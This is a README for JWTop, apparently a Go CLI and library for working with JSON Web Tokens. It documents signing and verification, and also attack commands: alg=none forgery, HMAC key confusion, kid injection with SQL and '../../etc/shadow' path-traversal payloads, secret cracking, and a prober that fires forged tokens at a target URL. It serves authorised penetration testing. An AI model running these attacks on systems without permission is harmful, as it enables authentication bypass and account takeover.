README
¶
JWTop
A fast, developer-friendly JWT operations toolkit — decode, verify, create, sign, crack, and exploit JSON Web Tokens.
JWTop is a Go library and CLI for working with JSON Web Tokens. It covers the full JWT lifecycle: decoding, verifying, creating, and signing tokens — plus a security-testing layer for probing and exploiting common JWT vulnerabilities.
- CLI — decode, verify, create, sign, crack, and exploit tokens from the terminal
- Library — composable Go packages for each operation, designed for direct integration
- Security testing — built-in exploit primitives (alg=none, HMAC confusion, kid injection, blank secret, null signature) and a server vulnerability scanner
Disclaimer: The
exploitandcrackfunctionality is intended for authorised security testing, penetration testing, CTF competitions, and educational purposes only. Never test systems you do not own or have explicit written permission to test.
Features
| Feature | CLI | Library |
|---|---|---|
| Decode JWT (no verification) | ✓ | ✓ |
| Verify signature (HMAC, RSA, ECDSA, JWKS) | ✓ | ✓ |
| Create and sign new tokens | ✓ | ✓ |
| Re-sign existing tokens | ✓ | ✓ |
| Crack HMAC secret (dictionary attack) | ✓ | ✓ |
| Probe server for JWT vulnerabilities | ✓ | ✓ |
| alg=none bypass | ✓ | ✓ |
| Blank secret | ✓ | ✓ |
| Null signature | ✓ | ✓ |
| HMAC confusion (RSA/EC → HMAC) | ✓ | ✓ |
| kid injection (SQL, path traversal, raw) | ✓ | ✓ |
Installation
CLI
Using go install:
go install github.com/cerberauth/jwtop@latest
From source:
git clone https://github.com/cerberauth/jwtop.git
cd jwtop
go build -o jwtop .
Library
Install only the packages you need:
# Core operations (decode, verify, create, sign)
go get github.com/cerberauth/jwtop/jwt
# Token editor (re-sign and mutate existing tokens)
go get github.com/cerberauth/jwtop/jwt/editor
# Security exploit primitives
go get github.com/cerberauth/jwtop/jwt/exploit
# Server vulnerability prober
go get github.com/cerberauth/jwtop/jwt/crack
CLI Usage
jwtop [command] [flags]
Commands:
decode Decode and pretty-print a JWT
verify Verify a JWT signature
create Create and sign a new JWT
sign Re-sign an existing JWT
crack Probe a server for JWT vulnerabilities
exploit Apply a known exploit to a JWT
version Print version information
decode
Decode and pretty-print a JWT without verifying the signature.
jwtop decode <token>
jwtop decode eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.dozjgNryP4J3jVmNHl0w5N_XgL0n3I9PlFUP0THsR8U
Header:
{
"alg": "HS256",
"typ": "JWT"
}
Claims:
{
"sub": "1234567890"
}
Signature:
dozjgNryP4J3jVmNHl0w5N_XgL0n3I9PlFUP0THsR8U
verify
Verify a JWT signature and print its claims. Exits 1 if the token is invalid.
jwtop verify <token> [--secret <secret>] [--key <pem-file>] [--jwks <uri>]
| Flag | Description |
|---|---|
--secret |
HMAC secret string |
--key |
Path or URL to PEM public (or private) key file |
--jwks |
JWKS endpoint URI |
# HMAC
jwtop verify $TOKEN --secret mysecret
# RSA/ECDSA public key (file or URL)
jwtop verify $TOKEN --key /path/to/public.pem
jwtop verify $TOKEN --key https://example.com/public.pem
# JWKS endpoint
jwtop verify $TOKEN --jwks https://example.com/.well-known/jwks.json
create
Create and sign a new JWT.
jwtop create --alg <alg> (--secret <secret> | --key <pem-file>) [options]
| Flag | Description |
|---|---|
--alg |
Signing algorithm, e.g. HS256, RS256, ES256 (required) |
--secret |
HMAC secret string |
--key |
Path or URL to PEM private key file |
--claim key=value |
Custom claim (repeatable) |
--sub |
Subject claim |
--iss |
Issuer claim |
--aud |
Audience claim |
--exp |
Expiration duration, e.g. 1h, 30m |
--iat |
Include issued-at claim |
Claim values are auto-parsed: integers and booleans are stored as their native types; everything else as a string.
# HS256 with claims
jwtop create --alg HS256 --secret mysecret \
--sub user123 --iss myapp --exp 1h --iat \
--claim role=admin --claim plan=pro
# RS256 with a private key
jwtop create --alg RS256 --key /path/to/private.pem --sub user123 --exp 24h
sign
Re-sign an existing JWT with a new algorithm or key. Original claims are preserved.
jwtop sign <token> --alg <alg> (--secret <secret> | --key <pem-file>)
| Flag | Description |
|---|---|
--alg |
Target signing algorithm, or none (required) |
--secret |
HMAC secret string |
--key |
Path or URL to PEM private key file |
# Change algorithm and key
jwtop sign $TOKEN --alg RS256 --key /path/to/private.pem
# Strip signature (alg=none)
jwtop sign $TOKEN --alg none
crack
Probe a target URL with every known JWT exploit technique and report which ones the server accepts. Each technique produces a modified token sent as Authorization: Bearer <token>. A response matching --expected-status marks that technique VULNERABLE.
jwtop crack <token> --url <url> [--expected-status <n>] [--key <pem-file>] [--wordlist <file>] [--secret <s>...] [--workers <n>]
| Flag | Description |
|---|---|
--url |
Target URL to probe (required) |
--expected-status |
HTTP status that signals a successful exploit (default 200) |
--key |
Path or URL to PEM public key for the hmacconfusion probe |
--wordlist |
Path to a newline-delimited file of candidate secrets |
--secret |
Explicit candidate secret (repeatable) |
--workers |
Concurrent workers for secret brute-force (default 8) |
Techniques probed: algnone (×4 capitalisation variants), blanksecret, nullsig, hmacconfusion (requires --key), kidinjection (SQL and path traversal), weaksecret (dictionary, HMAC tokens only).
# Probe with the built-in secret dictionary
jwtop crack $TOKEN --url https://api.example.com/protected
# Include a public key for the hmacconfusion probe (file or URL)
jwtop crack $TOKEN --url https://api.example.com/protected --key public.pem
jwtop crack $TOKEN --url https://api.example.com/protected --key https://example.com/public.pem
# Add a custom wordlist
jwtop crack $TOKEN --url https://api.example.com/protected \
--wordlist /path/to/secrets.txt --secret mysecret
Exits 0 when at least one exploit succeeded, 1 when none did.
exploit
Apply a known security exploit to an existing JWT and print the modified token. Each subcommand is a standalone technique.
jwtop exploit <subcommand> <token> [flags]
| Subcommand | Description |
|---|---|
algnone |
Set alg=none and strip the signature |
blanksecret |
Re-sign with an empty HMAC secret |
nullsig |
Strip the signature, keep the original alg header |
hmacconfusion |
Re-sign an RSA/ECDSA token as HMAC using the public key PEM |
weaksecret |
Dictionary-attack the HMAC signing secret |
kidinjection |
Manipulate the kid header field and re-sign |
algnone
jwtop exploit algnone $TOKEN
jwtop exploit algnone --all $TOKEN # emit all capitalisation variants
blanksecret
jwtop exploit blanksecret $TOKEN
nullsig
jwtop exploit nullsig $TOKEN
hmacconfusion — re-signs RS*/ES*/PS* tokens as their HMAC equivalent using the server's public key PEM as the secret.
jwtop exploit hmacconfusion $TOKEN --key /path/to/public.pem
jwtop exploit hmacconfusion $TOKEN --key https://example.com/public.pem
weaksecret — dictionary-attack the HMAC signing secret.
jwtop exploit weaksecret $TOKEN # built-in wordlist
jwtop exploit weaksecret $TOKEN --secret mysecret --secret s3cr3t # explicit guesses
jwtop exploit weaksecret $TOKEN --wordlist /path/to/secrets.txt # custom wordlist
| Flag | Description |
|---|---|
--wordlist |
Newline-delimited file of candidate secrets |
--secret |
Explicit candidate secret (repeatable) |
--workers |
Concurrent workers (default 8) |
Prints the recovered secret on success (exit 0), exits 1 when not found.
kidinjection — manipulate the kid header and re-sign.
jwtop exploit kidinjection --mode sql $TOKEN # SQL injection payload
jwtop exploit kidinjection --mode path $TOKEN # path traversal to /dev/null
jwtop exploit kidinjection --mode raw --kid "../../etc/passwd" --secret "" $TOKEN
| Flag | Description |
|---|---|
--mode |
sql, path, or raw (default sql) |
--kid |
Override the kid value |
--secret |
HMAC secret to sign with (overrides mode default) |
Library Usage
Core operations — jwt
import "github.com/cerberauth/jwtop/jwt"
Decode (no verification):
decoded, err := jwt.Decode(tokenString)
// decoded.Header → map[string]interface{}
// decoded.Claims → map[string]interface{}
// decoded.Signature → base64url string
Verify:
result, err := jwt.Verify(tokenString, jwt.VerifyOptions{
Secret: []byte("mysecret"),
// KeyPEM: pemBytes,
// JWKSURI: "https://example.com/.well-known/jwks.json",
})
// err is non-nil only for structural problems (malformed token, missing key).
// result.Valid is false when the signature doesn't match.
if result.Valid {
fmt.Println("valid:", result.Claims)
} else {
fmt.Println("invalid:", result.Error)
}
Create:
// HMAC
token, err := jwt.CreateWithSecret(jwt.CreateOptions{
Algorithm: "HS256",
Claims: map[string]string{"sub": "user123", "role": "admin"},
Expiration: time.Hour,
IssuedAt: true,
}, []byte("mysecret"))
// Asymmetric
token, err = jwt.Create(jwt.CreateOptions{
Algorithm: "RS256",
Claims: map[string]string{"sub": "user123"},
}, privateKey)
Token editor — jwt/editor
Parse an existing token (without verifying it) and re-sign with a different algorithm or key.
import "github.com/cerberauth/jwtop/jwt/editor"
te, err := editor.NewTokenEditor(existingToken)
signed, err := te.SignWithMethodAndKey(jwtlib.SigningMethodHS256, []byte("newsecret"))
signed, err = te.SignWithKey(privateKey)
signed, err = te.SignWithMethodAndRandomKey(jwtlib.SigningMethodRS256)
signed, err = te.WithAlgNone()
noSig, err := te.WithoutSignature()
// Adjust exp/nbf so the token is currently valid
valid := editor.NewTokenEditorWithValidClaims(te)
Exploit primitives — jwt/exploit
import "github.com/cerberauth/jwtop/jwt/exploit"
token, err := exploit.AlgNone(tokenString)
tokens, err := exploit.AlgNoneAll(tokenString) // all capitalisation variants
token, err = exploit.BlankSecret(tokenString)
token, err = exploit.NullSignature(tokenString)
token, err = exploit.HMACConfusion(tokenString, pubPEM)
token, err = exploit.KidSQLInjection(tokenString, exploit.DefaultKidSQLPayload, []byte("secret"))
token, err = exploit.KidPathTraversal(tokenString, exploit.DefaultKidPathTraversalPayload, []byte(""))
token, err = exploit.KidInjection(tokenString, "../../etc/shadow", jwtlib.SigningMethodHS256, []byte(""))
// HMAC secret cracking
result, err := exploit.CrackSecret(tokenString, exploit.WeakSecrets(), 8)
if result.Found {
fmt.Println("secret:", result.Secret)
}
secrets, err := exploit.SecretsFromFile("/path/to/wordlist.txt")
Server prober — jwt/crack
import "github.com/cerberauth/jwtop/jwt/crack"
results, err := crack.ProbeAll(ctx, tokenString, crack.ProbeOptions{
URL: "https://api.example.com/protected",
ExpectedStatus: 200,
PublicKeyPEM: pubPEM, // nil skips hmacconfusion
Candidates: exploit.DefaultSecrets,
Workers: 8,
})
for _, r := range results {
switch {
case r.Skipped:
fmt.Printf("[-] %s skipped (%s)\n", r.Name, r.SkipReason)
case r.Err != nil:
fmt.Printf("[!] %s error: %v\n", r.Name, r.Err)
case r.Status == 200:
fmt.Printf("[+] %s VULNERABLE\n", r.Name)
default:
fmt.Printf("[ ] %s %d\n", r.Name, r.Status)
}
}
Key utilities
pubKey, err := jwt.LoadPublicKeyFromPEM(pemBytes)
privKey, err := jwt.LoadPrivateKeyFromPEM(pemBytes)
key, err := jwt.GenerateKey(jwt.SigningMethodRS256)
keyfunc, err := jwt.FetchJWKS("https://example.com/.well-known/jwks.json")
method, err := jwt.ParseSigningMethod("ES256")
ok := jwt.IsJWT(tokenString)
Supported Algorithms
| Family | Algorithms |
|---|---|
| HMAC | HS256, HS384, HS512 |
| RSA | RS256, RS384, RS512 |
| RSA-PSS | PS256, PS384, PS512 |
| ECDSA | ES256, ES384, ES512 |
| None | none |
Acknowledgements
- jwt_tool by @ticarpi — the reference JWT attack toolkit. The
exploitpackage reproduces the key attacks covered by jwt_tool: alg=none bypass, HMAC confusion, null signature, blank secret, and kid header injection. - vulnapi — the CerberAuth API vulnerability scanner, which provided the implementation patterns for the exploit and crack packages.
License
MIT © CerberAuth — see LICENSE for details.
Documentation
¶
There is no documentation for this package.
Directories
¶
| Path | Synopsis |
|---|---|
|
Package jwt provides functions for decoding, verifying, creating, and re-signing JSON Web Tokens (JWTs).
|
Package jwt provides functions for decoding, verifying, creating, and re-signing JSON Web Tokens (JWTs). |
|
exploit
Package exploit provides standalone JWT security exploit functions.
|
Package exploit provides standalone JWT security exploit functions. |